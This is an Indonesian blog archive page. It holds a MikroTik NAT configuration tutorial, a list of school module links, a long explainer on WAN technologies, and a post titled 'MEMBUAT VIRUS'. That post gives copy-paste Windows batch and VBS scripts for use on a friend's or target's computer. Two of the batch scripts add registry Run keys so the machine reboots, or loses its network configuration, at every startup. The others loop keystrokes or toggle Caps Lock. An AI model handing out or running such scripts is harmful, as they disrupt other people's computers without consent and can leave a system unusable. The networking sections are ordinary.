Translate

Jumat, 22 Februari 2019

MIKROTIK - Panduan Setting Mikrotik Sebagai Gateway, Bandwidth Manajemen, dan Firewall Mengunakan Mikrotik RB450G Dialup Melalui PPPoe Client Dengan Fungsi Modem Sebagai Bridge Bagian 3

Panduan Setting Mikrotik Sebagai Gateway, Bandwidth Manajemen, dan Firewall Mengunakan Mikrotik RB450G Dialup Melalui PPPoe Client Dengan Fungsi Modem Sebagai Bridge Bagian 3


Pada Tutorial Bagian 1 dan 2 telah dipelajari bagaimana mengkonfigurasi Mikrotik mulai dari Koneksi Peramgkat, Setting Modem Sebagai Bridge, Setting IP Address, dan Setting PPPoe Client. Langkah selanjutnya adalah membuat NAT. Network Address Translation atau yang lebih biasa disebut dengan NAT adalah suatu metode untuk menghubungkan lebih dari satu komputer ke jaringan internet dengan menggunakan satu alamat IP. NAT  merupakan pemetaan (translasi) alamat IP dimana  IP private dalam jaringan LAN dapat mengakses IP Publik,. Melalui proses inilah, banyak komputer dapat mengakses internet karena adanya mekanisme NAT tersebut.


Berikut di jelaskan cara konfigurasi  NAT Network Address Translation ) agar Client dapat terkoneksi ke Internet atau dapat mengakses internet. Caranya
1.       masuk ke menu -> IP -> Firewall -> NAT  seperti gambar dibawah ini .


                                                                                                             
2.       Pada gambar diatas pilih Tab NAT dan Klik Tanda Plus + kemudian  Kita buat 1 buah NAT Rule, pada “General” -> Chain = srcnat, -> OutInterface pppoe out1. Lalu pada option “Action” kita pilih -> Masquarade. seperti tampak pada gambar dibawah ini





Setting NAT Via Terminal :
/ip firewall nat
add action=masquerade chain=srcnat comment="" disabled=no out-interface=pppoe-out1



Dengan Demikian Komputer Client Sudah Bisa Terhubung Ke Internet. Tinggal di swtting IP Static di Masing-masing  client dan Gateway di arahkan ke IP Mikrotik

Ø  Tes Gateway & Konfigurasi NAT di Client

Caranya adalah sebagai berikut :

1.      Setting IP address di computer client, maskuk ke menu Network Properties, dan pilih tcp/ip seperti terlihat pada gambar dibawah ini



2.      Pilih internet Protocol version 4 dan klik properties, selanjutnya isi IP address dan Gatewaynya. Seperti terlihat pada gambar dibawah ini



3.        Setelah semua tahapan diatas dilakukan dan setting Mikrotik Router kita telah selesai. Tinggal test ping koneksi dari Mikrotik kita. Lakukan test ke situs google.com dengan cara buka command promt, kemudian ketik ping www.google.com



Pada gambar diatas dilakukan pengujian ping ke situs google dan detik, serta ping ke gateway mikrotik. Semuanya sukses. Sampai disini Mikrotik telah berfungsi sebagai Gateway Router dan sharing akses internet untuk semua Client.  Selanjutnya kita akan buat DHCP Server supaya client laptop bisa akses internet menggunakan IP DHCP

Jumat, 16 November 2018

MATERI SMK KURIKULUM 2013 REVISI


MODUL SMK JURUSAN TATA KECANTIKAN RAMBUT KURIKULUM 2013
MODUL DAN POWERPOINT MAPEL AKUNTANSI SMK
MODUL dan POWERPOINT PRODUK KREATIF DAN KEWIRAUSAHAAN SMK BISNIS MANAGEMEN DAN AKUNTANSI KURIKULUM 2013

MEMBUAT VIRUS

1. Membuat Virus Shutdown

Cara kerja virus komputer sederhana ini adalah dengan memaksa komputer teman atau target jadi Shutdown. Untuk melakukannya, silakan buka Notepad, dan copy paste kode di bawah. Lalu save file-nya dengan nama ForceShutdown.bat dan type file-nya All file.
@echo off msg * I don't like you shutdown -c "Error! Komputer kamu terpaksa harus Shutdown!" -s
Untuk mengaktifkan virus ini, kamu harus klik 2 kali pada file-nya. Maka, secara otomatis virus ini akan berjalan.

2. Paksa Shutdown Setiap Kali Dinyalakan

Berbeda dengan virus sebelumnya, virus sederhana yang ini akan memaksa komputer teman kamu untuk Shutdown setiap kali dinyalakan. Eits, jangan asal gunakan virus ini kalo gak siap tanggung akibatnya ya!
echo @echo off>c:windowshartlell.bat echo break off>>c:windowshartlell.bat echo shutdown -r -t 11 -f>>c:windowshartlell.bat echo end>>c:windowshartlell.bat reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v startAPI /t reg_sz /d c:windowshartlell.bat /f reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v /t reg_sz /d c:windowshartlell.bat /f echo You have been HACKED. PAUSE
Simpan file buatan kamu di atas dengan nama apapun. Jangan lupa gunakan ekstensi .bat ya! Lalu klik untuk mengaktifkannya.

3. Mematikan Internet Secara Permanen

Saat berada di suatu jaringan internet, pasti kesal dong jika ada orang yang malah download? Bikin internet lemot karena bandwith berkurang cepat. Makanya, coba matikan internet teman kamu menggunakan script virus sederhana berikut:
echo @echo off>c:windowswimn32.bat echo break off>>c:windowswimn32.bat echo ipconfig/release_all>>c:windowswimn32.bat echo end>>c:windowswimn32.bat reg add hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f reg add hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f echo You Have Been HACKED! PAUSE
Seperti biasa, simpan dengan nama apapun dan gunakan ekstensi .bat. Lalu klik untuk mengaktifkannya!

4. Virus Caps Lock

Siapa yang tidak kesal jika ada orang ngetik isinya huruf besar semua? Orang yang menerima pesan dengan huruf besar semua jelas akan merasa terganggu, atau bahkan marah. Makanya, yuk isengin teman kamu dengan membuat tombol Caps Lock-nya nyala terus menggunakan scriptvirus sederhana berikut:
Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{CAPSLOCK}" loop
cara-membuat-virus-sederhana-dengan-notepad-4
Copy dan paste kode di atas ke Notepad, lalu simpan dengan nama file ForceCapsLock.vbs dan type file-nya All file. Klik 2 kali untuk mulai mengaktifkan virus komputer sederhana ini.

5. Virus Alay

Siapa bilang cuma anak muda kekinian doang yang bisa alay? Komputer kamu juga bisa alay loh kalo terinspeksi virus keyboard alay. Nah, untuk membuat virus komputer yang akan membuat keyboard jadi alay, kamu bisa gunakan script berikut:
Set wshShell =wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "{CAPSLOCK}" wscript.sleep 100 wshshell.sendkeys "{NUMLOCK}" wscript.sleep 100 wshshell.sendkeys "{SCROLLLOCK}" loop
cara-membuat-virus-sederhana-dengan-notepad-3
Caranya sama, copy dan paste kode di atas ke Notepad. Lalu save dengan nama ForceAlay.vbs dan type file All file.



6. Virus Orang Jelek

Dikatain jelek itu emang nyebelin. Kalo cuma sekali dua kali sih harusnya masih bisa ditahan, tapi kalo terus-terusan ngatain jelek gimana coba? Nah, dengan kode di bawah ini, kamu bisa membuat sebuah virus komputer sederhana yang akan memaksa komputer target untuk mengeluarkan alertbahwa 'dia jelek' tanpa henti.
Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "<span class="color-red">Muka Lu Jelek Kayak Komputer Lu</span>" loop
cara-membuat-virus-sederhana-dengan-notepad-1

Selasa, 13 November 2018

Jaringan WAN Wide Area Network

Apa itu WAN?

Wide Area Network (WAN) adalah suatu jaringan yang digunakan untuk membuat interkoneksi antar jaringan komputer local yang secara fisik tidak berdekatan satu sama lain, yang secara fisik bisa dipisahkan dengan kota, propinsi, atau bahkan melintasi batas geography – lintas negara dan benua.
Ada beberapa Teknologi Jaringan WAN saat ini yang bisa kita gunakan yg merupakan komponen jaringan wan itu sendiri. Berbeda dengan jaringan LAN, ada perbedaan utama antara keduanya dimana terletak pada jarak yang memisahkan jaringan-2 yang terhubung tersebut. WAN menggunakan media transmisi yang berbeda, maupun hardware dan protocol yang berbeda pula dibanding dengan LAN. Data transfer rate dalam komunikasi WAN umumnya jauh lebih rendah dibanding LAN.

Untuk sederhananya gambar 1 berikut menerangkan lebih jelas bagaimana jaringan local (LAN1) di 
suatu kota di Amerika serikat berkomunikasi dengan jaringan LAN2 di suatu kota di Amerika latin, begitu juga suatu LAN3 di Afrika tengah berkomunikasi dengan LAN4 didaratan China.
Semua jaringan LAN tersebut terpisah oleh jarak yang berjauhan bahkan antar benua membentuk suatu jaringan computer yang sangat luas yang lazim disebut sebagai jaringan WAN. Semua LAN tersebut bisa saling berkomunikasi bertukar data dengan batasan tertentu yang telah dikonfigurasikan di setiap masing-masing LAN apakah diijinkan atau ditolak untuk bisa bertukar data antar LAN.
Banyak technology sebagai komponen jaringan wan yang terlibat dalam hal komunikasi antar LAN ini, dimana kebanyakan tidak kita lakukan sendirian akan tetapi melibatkan vendor fihak ketiga baik dalam hal penyediaan perangkat interface antara jaringan local LAN kita dengan jaringan vendor yang memfasilitasi komunikasi ke jaringan internet alias jaringan public.

Konsep jaringan wan
Gb 1 Konsep WAN

Komunikasi Jaringan WAN

Teknologi Jaringan WAN bergantung pada fihak ketiga dalam hal ini perusahaan penyedia layanan Telecommunikasi yang menyediakan layanan hubungan jarak jauh. Tidak seperti pada jaringan LAN dimana koneksi antar device (komputer) ditransmisikan dari satu piranti digital / komputer kepada piranti digital lainnya melalui koneksi fisik secara langsung, teknologi jaringan WAN menggunakan kombinasi sinyal analog dan sinyal digital dalam melakukan transmisi data.

Diagram Teknis

Pada diagram jaringan WAN berikut ini menjelaskan masing-2 komponen jaringan wan dan fungsi dalam konsep teknologi Jaringan WAN.

Diagram koneksi jaringan WAN
Gb 1 Diagram koneksi WAN
1. DTE
DTE (Data terminal equipment) adalah suatu komponen jaringan wan disisi link jaringan WAN yang berada pada sisi pelanggan (biasanya gedung / rumah pelanggan) yang mengirim dan menerima data. DTE (biasanya berupa router jaringan atau bisa saja berupa komputer atau multiplexer) adalah merupakan tanda marka antara jaringan WAN dan jaringan LAN. DTE ini merupakan piranti yang akan berkomunikasi dengan piranti DCE disisi ujung lainnya.
2. Demarc
Demarc atau titik demarkasi adalah titik yang merupakan interface jaringan dimana kabel perusahaan telpon terhubung dengan rumah pelanggan.
3. Local loops
Local Loops adalah perpanjangan kabel line telpon dari Demarc menuju kantor pusat Telco yang mana pemeliharaannya difihak Telco, bukan tanggung jawab pelanggan. Kabel ini bisa berupa kabel UTP (Speedy), fiber optic (layanan IndiHome) atau gabungan keduanya dan juga media lainnya.
4. DCE
DCE (data circuit terminating equipment) adalah suatu piranti (biasanya berupa router disisi ISP) yang berkomunikasi dengan DTE dan juga WAN Cloud. DCE ini merupakan piranti yang memasok clocking (denyut sinyal sinkronisasi) kepada piranti DTE. Sebuah modem atau CSU/DSU disisi pelanggan bisa diklasifikasikan sebagai DCE. DTE dan DCE bisa saja beupa piranti yang serupa / router akan tetapi mempunyai peran dan fungsi yang berbeda.
5. WAN Cloud
WAN cloud, merupakan hirarchi Trunk, Switches, dan CO (central office) yang membentuk jaringan telephone lines. Struktur fisik bisa bervariasi, dan jaringan-2 yang berbeda dengan titik koneksi bersama bisa saja saling overlap, makanya direpresentasikan dalam bentuk WAN cloud. Sisi pentingnya adalah bahwa data masuk melalui jaringan telpon, menjelajah sepanjang line telpon, dan tiba pada tepat pada alamat tujuannya.
6. PSE
Komponen jaringan wan terakhir adalah PSE, PSE (packet switching exchange) adalah suatu Switch pada jaringan carrier packet switched. PSE-2 ini merupakan titik-titik penghubung dengan WAN cloud.

Jenis koneksi WAN

Paket messages menjelajah dari titik ke titik yang berbeda tergantung pada koneksi fisik dan protocol yang digunakan. Disini tidak lagi dibahas mengenai teknologi jaringan WAN dalam koneksi WAN yang sudah dibahas sebelumnya, yang secara pokok ada tiga macam berikut ini:
  1. Koneksi Dedicated
  2. Jaringan Circuit-switched
  3. Jaringan Packet-switched
Jenis Jaringan WAN dedicated dan switched mempunyai suatu koneksi yang selalu tersedia kepada jaringan, akan tetapi untuk jenis circuit switched perlu melakukan suatu pembentukan koneksi via semacam mekanisme dial-up antar kedua piranti yang mau berkomunikasi. Dalam suatu konfigurasi dial-on-demand routing (DDR) – router secara automatis membuka koneksi jika ada data yang akan ditrasnmisikan (tentunya sesuai dengan access-list rule), dan akan menutup sendiri jika line dalam keadaan idle selama durasi tertentu yang disetel dalam konfigurasinya.

Layanan Jaringan WAN

Ada banyak penerapan teknologi jaringan WAN pada layanan WAN oleh ISP atau jasa layanan koneksi WAN yaitu sebagai berikut:

PSTN

PSTN adalah public switched telephone network, adalah merupakan teknologi tertua dan diapakai secara luas diseluruh dunia dalam komunikasi WAN. PSTN adalah teknologi Jaringan WAN dalam jaringan circuit-switched. Teknologi ini berbasis dial-up atau leased line (always-on) menggunakan line telephone dimana data dari digital (komputer) diubah menjadi data analog oleh modem, dan kemudian data tersebut menjelajah dengan kecepatan terbatas sampai 56 Kbps saja.

Leased lines

Leased line adalah jenis dedicated dari teknologi jaringan WAN menggunakan suatu koneksi langsung yang bersifat permanen antara piranti yang berkomunikasi dan memberikan suatu koneksi konstan dengan kualitas layanan koneksi (QoS). Akan tetapi komponen jaringan wan dlm leased line lebih mahal dibanding dengan sambungan sesuai kebutuhan (dial-on-demand) PSTN.

X.25

X.25 dispesifikasikan oleh ITU-T – adalah suatu teknologi jaringan WAN paket switching melalui jaringan PSTN. X.25 dibangun dengan merujuk pada layer Data Link dan Physical layer pada referensi model OSI. Awalnya X.25 menggunakan line analog untuk membentuk jaringan paket switched, walaupun X.25 bisa juga dibentuk menggunakan jaringan digital. Protocol X.25 mendefinisikan bagaimana koneksi antara DTE dan DCE di setup dan dipelihara dalam Public Data Network (PDN)
  • Anda perlu berlangganan layanan X.25 yang bisa menggunakan line dedicated kepada PDN untuk membentuk koneksi WAN.
  • X.25 bisa beroperasi pada kecepatan sampai 64 Kbps pada line analog.
  • X.25 menggunakan frame sebagai ukuran variable paket
  • Disediakan deteksi dan koreksi error untuk menjamin keandalan melalui kualitas line analog yang rendah.

Frame relay

Komponen jaringan wan dengan teknology Frame relay telah dibahas panjang lebar secara terpisah, artikel yang termasuk juga jaringan frame relay dan juga koneksi frame relay. Frame relay adalah salah satu teknologi jaringan WAN dalam paket switching – suatu komunikasi WAN melalui line digital berkualitas tinggi.

ISDN

ISDN secara rinci juga dibahas terpisah, lihat jaringan ISDN disini baik untuk jaringan ISDN BRI maupun jaringan ISDN PRI. ISDN (Integrated services digital network) mendefinisikan standards pada penggunaan line telephone untuk kedua transmisi analog maupun digital.

ATM

Asynchronous Transfer Mode (ATM) adalah teknologi jaringan WAN dengan koneksi kecepatan tinggi dengan menggunakan paket switched system dari kecepatan 155 Mbps sampai 622 Mbps. Ia dapat mentransmisikan data secara simultan, voice yang digitize, dan sinyal digitize video melalui kedua jaringan LAN dan WAN. Karakteristik ATM meliputi berikut ini:
  • Menggunakan cell kecil berukuran tetap (53-byte) yang mana lebih muda diproses dibandingkan X.25 maupun frame relay yang menggunakan cell dengan panjang bervariable
  • Transfer rate bisa setinggi sampai 1.2 Gigabits
  • Line digital berkualitas tinggi, low noise, yang menghilangkan perlunya adanya error-checking.
  • Bisa menggunakan bermacam-macam media baik coaxial, twisted pair, maupun fiber optic.
  • Bisa mentransmisikan secara simultan jenis data yang berbeda.
Tidak ada perbedaan yang jelas antara layanan WAN seperti frame relay dan ISDN. Misalkan saja anda bisa menggunakan protocol frame relay melalui line ISDN. Begitu piranti terhubung dengan WAN cloud, protocol internal dapat mengkonvert data traffic kedalam format seperlunya kemudian mengkonvert data itu kembali disisi ujung lainnya.

Hardware WAN

Hardware WAN biasanya tergantung pada layanan WAN yang ingin anda koneksikan. Setiap protocol WAN mempunyai spesifikasi dan kebutuhan yang berbeda untuk hardware dan media transmisinya. Akan tetapi anda mempunyai pilihan dalam hardware yang anda gunakan, dan hardware WAN selalu compatible dengan layanan WAN.
Penyedia layanan WAN biasanya memberikan pilihan kepada anda komponen jaringan wan apa yang akan dipakai untuk jaringan WAN dan local loop sampai titik demarc. Local loop biasanya kabel tembaga, kabel yang sama dengan digunakan untuk layanan telpon.
Kabel tembaga diklasifikasikan berdasarkan bandwidth, pada gilirannya menentukan berapa besar data yang bisa dikirim, dan apakah sinyal analog atau digital. Berikut dijelaskan dua metoda dalam mengklasifikasikan bandwidth melalui kabel tembaga.

POTS (plaint old telephone services)

Layanan POTS mempunyai karakteristik berikut:
  • Kabel-kabel yang ada hanya menggunakan satu pasangan twisted
  • Sinyal analog digunakan melalui local loops
  • Sebuah modem diperlukan untuk digunakan mengkonversi sinyal digital kedalam sinyal analog.
  • Batas efektif line sebatas 56 Kbps

T-Carriers

Teknologi jaringan WAN menggunakan teknologi T-Carriers mempunyai karakteristik berikut ini:
  • Menggunakan dua pasang twisted kabel tembaga
  • Menggunakan sinyal digital
  • Beberapa channel 64 Kbps beroperasi pada kabel yang sama.
T-cariers line diklasifikasikan oleh beberapa channel pendukung yaitu:
  • T1 (24 channels)
  • E1 (31 channel)
Catatan bahwa channel 64 Kbps terkadang disebut sebagai DS-0. Line yang menggunakan 24 channel (T-1) juga biasa direferensikan kepada line DS-1. Line T-Carriers dapat dibagi menurut jenis data (yaitu: data, digitized voice, digitized video).
Disamping media transmisi, anda memerlukan hardware untuk menghubungkan ke WAN dan juga format signal yang tepat untuk jenis koneksi yang anda gunakan. Kita tahu bahwa modem mengkonversikan sinyal analog ke digital dan sebaliknya. Kita menggunakan satu atau kedua hardware berikut ini dalam semua jaringan digital:

Multiplexer

Sebuah multiplexer adalah komponen jaringan wan yang menggabungkan signal dari dua atau lebih piranti kedalam media segmen yang sama. Pada sisi penerima, multiplexer memisahkan sinyal-2 gabungan ini.
  • Sebuah multiplexer Statistical menggunakan channel2 virtual berbeda pada medium fisik yang sama untuk mengirim beberapa sinyal2 yang berbeda sekaligus, yaitu sinyal2 menjelajah bersamaan melalui medium yang sama
  • Multiplexer time-division mengirim data paket dari sinyal2 yang berbeda pada interval waktu yang berbeda ketimbang harus mengirim paket dengan membagi medium fisik kedalam chanel2, data dikirim pada slot waktu yang berbeda.

CSU/DSU

Sebuah Channel service unit / Data service unit (CSU/DSU) menghubungkan sebuah jaringan dengan line kecepatan tinggi seperti T1. Piranti ini melakukan format aliran data digital kedalam format frame yang tepat dan juga line code untuk line digital. Ia juga memberikan fungsi timing. Beberapa CSU/DSU juga berfungsi sebagai multiplexer juga atau dibangun integral kedalam router.
  • CSU menerima dan mengirim sinyal kepada line WAN, melakukan echo feedback sinyal selama test telpon dan meredam interferensi electrical
  • DSU mirip sebuah modem antara DTE dan CSU. Ia mengkonversikan frames dari format yang digunakan didalam LAN kedalam format yang digunakan pada line T1, dan juga sebaliknya. Ia juga memanage line, error timing, dan regenerasi sinyal.
Kita juga bisa menggunakan berbagai macam interface protocol untuk konektivitas WAN, seperti synchronous serial protocols atau asynchronous protocols.
Synchronous serial protocol menggunakan clock sinyal stabil antara DCE dan DTE kepada waktu transmisi data. Komunikasi synchronous mengirim data frame yang besar sejalan dengan waktu clock dan baud-rate. Ia menggunakan bandwidth secara effisien.
Protocol signal synchronous meliputi:
  • V.35
  • RS-232 (EIA/TIA)
  • X.21
  • RS-449
  • RS-530
Setiap jenis piranti serial menggunakan konekstor khusus meliputi:
  • DB60
  • DB25
  • DB15
  • DB9
Catatan bahwa nomor yang mengikuti tersebut menunjukkan jumlah pin, DB25 menunjukkan jumlah pin 25 dsb.

Protocol asynchronous

Protocol asynchronous menambahkan start-bit dan stop-bit pada setiap paket yang dikirim ketimbang memaksa kedua piranti pengirim dan penerima untuk menggunakan clock yang sama. Sinyal protocol asynchronous adalah paling banyak dipakai antara dua modem. Akan tetapi dia juga menambahkan overhead karena penambahan extra bit yang pada gilirannya memperlambat baud rate. Protocol sinyal asynchronous meliputi:
  • V.90
  • V.42
  • V.35
  • V.34
  • V.32, V.32bits, V.32turbo
  • V.22
Sinyal asynchronous menggunakan line telpon standard dan jacks. Koneksi meliputi:
  • RJ-11 (2 kabel)
  • RJ-45 (4 kabel)
  • RJ-48
Interface bisa dirujuk kepada port fisik pada router yang menghubungkan LAN dan WAN.

Methoda encapsulation jaringan WAN

Protocol layer fisik WAN menspesifikasikan metoda hardware dan bit sinyal. Protocol layer Data link mengendalikan beberapa atau semua fungsi2 berikut:
  • Error checking dan koreksi
  • Pembentukan link
  • Komposisi frame-field
  • Point-to-point flow control
Protocol2 layer Data link juga menjelaskan metoda encapsulation atau format frame. Metoda encapsulation WAN umumnya adalah HDLC (high level data link control). Tergantung pada komponen jaringan wan metoda koneksi, beberapa metoda encapsulation meliputi:
  • Cisco HDLC untuk synchronous, koneksi point-to-point dengan router Cisco
  • LAPB untuk jaringan2 X.25
  • LAPD dalam kombinasi dengan protocol lain untuk channel B dalam jaringan ISDN
  • PPP untuk akses LAN dial-up, jaringan WAN circuit-switched dan jaringan ISDN
  • Cisco/IETF untuk jaringan frame relay
WAN encapsulation - protocols WAN
Gb 2 WAN Encapsulation
Diagram diatas menjelaskan metoda encapsulation berbagai teknologi jaringan WAN. Mau tahu lebih detail dan lengkap semua konsep dasar WAN, dari koneksi WAN, perangkat WAN sampai routing static & dinamis, dari distance vector sampai link state routing.
Artikel terkait:
Dari modul2 CCNA